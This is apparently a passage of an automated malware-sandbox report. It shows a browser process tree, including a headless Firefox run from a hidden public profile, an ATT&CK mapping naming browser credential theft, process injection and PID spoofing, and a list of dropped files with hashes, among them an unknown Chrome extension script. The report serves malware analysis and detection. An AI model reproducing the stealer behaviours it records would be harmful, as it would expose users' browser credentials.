    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,11495940646376340719,8599109699346046940,262144 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:2
    3⤵
    PID:5656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1872,i,15504404457286623109,16371174009505063397,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2492,i,13117727125058421567,9519939104483678590,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:13
    3⤵
    PID:4432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,15344947271351379217,8325843100530076520,2097152 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
    3⤵
    PID:2628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,14103853901338513182,10420676890875861671,2097152 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:1
    3⤵
    PID:2756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4196,i,8907285942257743454,3908970572400231966,2097152 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:1
    3⤵
    PID:4360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4212,i,17651318666293010947,11897618522020789704,2097152 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:9
    3⤵
    PID:3676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3856,i,1336479582298555405,12332728849713696145,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:14
    3⤵
    PID:4200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,11412281980039615097,1141503827538470372,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:14
    3⤵
    PID:4668
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,6599379169896488732,4252597999966448692,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
    3⤵
    PID:5512
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5232,i,14936487881093460013,1942694438570204489,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:14
    3⤵
    PID:5540
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5232,i,14936487881093460013,1942694438570204489,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:14
    3⤵
    PID:4508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6568,i,14837073940380699957,2954992018588869372,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=6488 /prefetch:14
    3⤵
    PID:256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5712,i,3441508199814216393,10483099149917539970,524288 --field-trial-handle=2324,i,8362935477393795460,7173521332462598767,262144 --variations-seed-version --mojo-platform-channel-handle=6668 /prefetch:14
    3⤵
    PID:1920
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:4452
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    PID:3120
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2828 -prefsLen 24445 -prefMapHandle 2832 -prefMapSize 268500 -ipcHandle 2884 -initialChannelId {05c4f2a8-182c-47f3-bdc6-661dc10ee2f7} -parentPid 3120 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3120" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:4496
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1996 -prefsLen 24658 -prefMapHandle 1632 -prefMapSize 268500 -jsInitHandle 1344 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1988 -initialChannelId {1d4033d2-a5b5-4d1b-9ec6-bcb5c3edbd48} -parentPid 3120 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3120" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      PID:3412
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3756 -prefsLen 25542 -prefMapHandle 3760 -prefMapSize 268500 -ipcHandle 1760 -initialChannelId {010be5b7-89c4-4957-b633-9e6ae7481b2f} -parentPid 3120 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3120" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:4300
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4048 -prefsLen 25604 -prefMapHandle 4052 -prefMapSize 268500 -jsInitHandle 4056 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4064 -initialChannelId {23abf3eb-217c-4ab3-aa49-d8440b2581a2} -parentPid 3120 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3120" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      PID:844
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4892 -prefsLen 36486 -prefMapHandle 4896 -prefMapSize 268500 -ipcHandle 4904 -initialChannelId {959a109b-374c-48a5-aa6b-6ccf916d30bf} -parentPid 3120 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3120" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      PID:4048
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5060 -prefsLen 34446 -prefMapHandle 5064 -prefMapSize 268500 -jsInitHandle 5068 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5076 -initialChannelId {9f6d91bc-4a10-4a67-83a9-ccdcddb6a8cb} -parentPid 3120 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3120" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      PID:4148
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5152 -prefsLen 34446 -prefMapHandle 5156 -prefMapSize 268500 -jsInitHandle 5160 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5180 -initialChannelId {99b27e7b-b55e-4937-9456-27d9ec033521} -parentPid 3120 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3120" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      PID:5132
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5480 -prefsLen 34446 -prefMapHandle 5476 -prefMapSize 268500 -jsInitHandle 5472 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5464 -initialChannelId {c27e8712-c66c-48f4-9fad-bd4d543b265e} -parentPid 3120 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3120" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      PID:5284

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1556

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1092

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 13KB
SHA256 48a33f3423aaa13ddde5a2c32c101bb1a611c3a940d61d4212ad607c25418ef9
MD5 266538d6b54a722f05a017724c30945b
SHA1 4e916ca4cfa7aea22f22414fb7d831696bdb973a
SHA512 b5f1cf471417f5e917db906ff0ce9aebe2dc8f5bad8bf361e22734041f814f6b30110f0403396bc0df09cd252cc9241280fa515bbf7415c78a4d9708e73d36a3
SSDEEP 384:XRjg77KxkXqKf/pUZNCgVLH2HfgslwgXODg3+ErU3+bHGAZP6Wepfn+8Q:Xxg77KxkXqKf/pUZNCgVLH2HfgsOKO8P
TLSH
T15552096B648C9A7F0FD8D54CDC27AF4FACB5015666744D2446FB5C0803A57CB124A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 182fd365181793b2dd515f96b7a83dea8a4daf2a89f7343ce04a21ef3b94b57f
MD5 c0e76af3aa30b4c2cd3ad376ddd2c784
SHA1 1845e82cd7549af73f0cd4e62de6748b4658433b
SHA512 e0340269f7219a93655c36c1e5f96a0d1bf9973a7afbb9a719f0f57b66e7db20e34aae52bfe020c43aa943d86e239960a0fa73224fa4cd9887038ca0594dbe6b
SSDEEP 96:uFC0d+qs7PiY+3oDfAI0jMrRDotok5ugND1QB6ndGyvze9asjbfEv4a:uFC0t+W1I04DUDP1U4wL9asjbu
TLSH
T1DCA12B71E56D8CFB54B6D989B0533A03CF79A26BA4215F84D9ED6B0C04F70EC0782523
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 139KB
SHA256 170cc4392dc9679659a55d3a09f5504d93a567ba4fed0c1bf153fd4ded4f58da
MD5 3546241a86c40c8d80a68168c5a4b309
SHA1 2c5ea1fd3e4f79dc9e2aace02bd812811337e8cd
SHA512 ddc5705722d79693b8001b33cfe17d084155e38f26b7ed2d571c35463108bdc2baa4a1882f5b49dee23e8604388eac3cc55a2cca526deea8939a11dee2940c4e
SSDEEP 3072:sCRBy6AztpvzHUpwjaRPIGzZvF3d5ZDTzD:su+Dvz0p3IGzzZDTzD
TLSH
T125D3133D29DA1C735099E170F87FB43A953CC24F82B6EF45D8926B55C7A6C4B034A827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a23025f4d05b749cd64019222483e40f71e2bd4380052e2b64a234eb0323dd12
MD5 f2999f57642ce17248d9900b8034961f
SHA1 5a92b97bdc3c0e5222e917e766218a9ee7568f1f
SHA512 001c4dde433f6d4b3121bd2e5736ab1443818c9c8ef22f8298c411039f23f15532e8510ef806e0f54b26c4ef31db9b77ed6c750a42b27167e98f8b691edafe8f
TLSH
T1F4D02BB1E0ED8473C050307C000681815205F8426AC555801F25D07C091014C234B108
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ae4519203ea4a71f8bb5a86dffca3b288f02f1bf4cb8d6f78e8a591b676414b1
MD5 1293a304484c7d4be275f1eb20c69a28
SHA1 b568174debe43e00bc9d8880e0c5166dc6720312
SHA512 ffd84ca0277d7fb25239662676bdc1988ee3267dfd6a7a17da4c4ab32edd7fa146f36c8d8b2c5f1b06efedf5cf636eaa55943e5f89902c62e6a914ebbc3ae1b7
TLSH
T143D02BB1E0DD8473C0503078000581815215F842BEC555801F25D07C091014C234B10C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 29bca9e5b532af600cfcbca3ea3289205dc285c31a58b7f705cf5f6d8749f079
MD5 cc85b4d9f3bf49fa6ec0ba5d302d49a3
SHA1 28dd5bf181fad8267e2e60cd4b6e12558daf1bcf
SHA512 bf8478052f126ffaee2a9582a8d60e1f981127109e30e308be69a899f96178b16b9fcade1d0a1f1cf0fb9c5f85cef0bfeb2542e16cfdeabd8f2f082f7d4833b7
SSDEEP 192:sxRRRHxO/f0sjQ7R7SeIDb+toA8pJP/g6+WNPQ3/Ylacg6GGxuIgVyJ:sxRRbO/f0sjy7Se7kV/5E/4xGs
TLSH
T1F152E756AE28A83B4CD7D25DBA157F53E3F91033A4845E48E6FD8A1C04FAADD1203C4B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 6cf02a59db9b6634d6a2409b818d16c113b3b418156957bb04c0d2b32606e19b
MD5 f5c1436d571bd14a859658c1e1783857
SHA1 20f5870f3094d74bcbf6a37164a4c623d243a2dd
SHA512 a70d65e43b611666b7e691edd20325ec03d262dd4bb3a61a6e4ce09f32ae40516ed23947c53d7cc59fa8bfe88078835adba96ac10e78189f998421ad7446035b
SSDEEP 768:ksRduG7pLuLb0JWgSwffT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVH2+gnroe2HiH7:ksRdumEb0JWgSwffTu1jaQrg0e2CH7
TLSH
T13FC2DA7B640CCB7F4F904ADD9C197E9B6DAC02CB9698CD8047FE941C02C67EA911A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8a4b0100-eb68-4f41-9a73-cdbcbf878092\index-dir\the-real-index
Size 432B
SHA256 1f7ff8fe3287a0f2aea2515a4122631cc6a2b9eb4ffc19e34fe127cc43c58c02
MD5 9686a31226f59472fb62f33ec9c897a4
SHA1 9fd33d9f97978905869d6deb4ac485de931b0b14
SHA512 89bef4d0994ae87f6c32e94012027eb13609850c3d482149d62b83240236a2fff367c5a2a7e85213b4e3689b07f044335534c2d23c46c120a0eb4f1738a519f8
TLSH
T1E5E07DCE1D13430AF8548174303D64A29AF135EC93BC3D0F60FD900A8C893D0EE42A38
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5abcf8.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8a4b0100-eb68-4f41-9a73-cdbcbf878092\index-dir\the-real-index~RFe5abcf8.TMP
Size 432B
SHA256 4c50684d9a79982c8548561605f4b9925f06fe748ba8f5b94c43d0043cbf2ce7
MD5 33f6da899942ee9b00c2bbf5708c9486
SHA1 eb45731d299c10d8a34b5c9080eda68db178858b
SHA512 0c7864312d3bc7aa91c3d37648f46e574d24537a15939c6c7c149f72ab365e8d83f32a21542743317b5313bab8095f387414aed58d84c4e0bbb8d4f1cc7e17e3
TLSH
T1D1E07D9842138345E808C130759E5026A1A1645893643A0F61EA5045C84AB885D42F21
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 2e74cfd75906292b80e8dfbe317a22626edb0717b29c7c0d29a086bf560277f9
MD5 fb229165170580eb1a587709631813f8
SHA1 1a76bdfcaf7b970b295e68e5d7af6538e31d2c30
SHA512 279247fd4f21cba6224a94afa1c4ffe997ad5d6571076c8f213db88e301fdd53d824cc91dbbbf0ae9092f68df4b42d8de65688a729a138b8664e0e02388d86a5
SSDEEP 768:cYt3GnYzeeSFajLkthnqMwQi5BgK5/CwYcZ8b2s10I:cYt3GnsHMVmBg8/dI2s+I
TLSH
T1DDF2AD31ECB68DB75CFA9204B2867746AEF45163D8990958D4EA8B0E0583EEE170BC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 37KB
SHA256 64e9260daacc7d00d8bdd01e4c2e516828493e998be90bc9384b126abf0d7a6c
MD5 5150958438cb790c756ec5b30979b92d
SHA1 1f53fc9fce7983ecbefe769d28193b45f87d6a1f
SHA512 57afe3efcfd493dc41eca9e57fed366a0e57677b6907962de4513be92c7f223f590d09a454c15194f5958dc109fb87c66b7a69e5b242a5bdca642376d0f328da
SSDEEP 768:O/UxvxjgC+Ft36nLESFajLTnqMwQi5BgK5/CwYcl81A8Dea:DZj3+Ft36kHTVmBg8/dSA8Sa
TLSH
